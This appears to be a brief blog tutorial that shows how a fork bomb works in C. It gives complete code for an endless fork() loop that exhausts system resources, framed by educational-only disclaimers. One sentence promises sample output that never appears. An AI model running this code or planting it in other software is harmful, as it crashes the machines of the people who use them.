how to make the world's simplest malware in C

before we start…
THIS CONTENT IS FOR EDUCATIONAL PURPOSES ONLY. DO NOT CREATE OR DISTRIBUTE MALICIOUS SOFTWARE.

a fork bomb basically clones itself until the system runs out of resources (which crashes the device)

#include <stdio.h> #include <unistd.h> int main() { fork(); printf("hello world\n"); } 

this is a basic demo of the fork(); function this will just clone itself once so you will get a output like

but to actually make it keep repeating it self you will need to do something like this

#include <stdio.h> #include <unistd.h> #include <stdbool.h> int main() { while (true) {fork();} } 

this will keep cloning it self again and again and will crash your system this is probably the simplest malware there is

NOTE: PLEASE DO NOT RUN THIS PROGRAM ON ANY MACHINE [NOT EVEN YOUR OWN] PLEASE ONLY RUN THIS IN A VIRTUAL MACHINE THIS BLOG WAS ONLY FOR EDUCATIONAL PURPOSES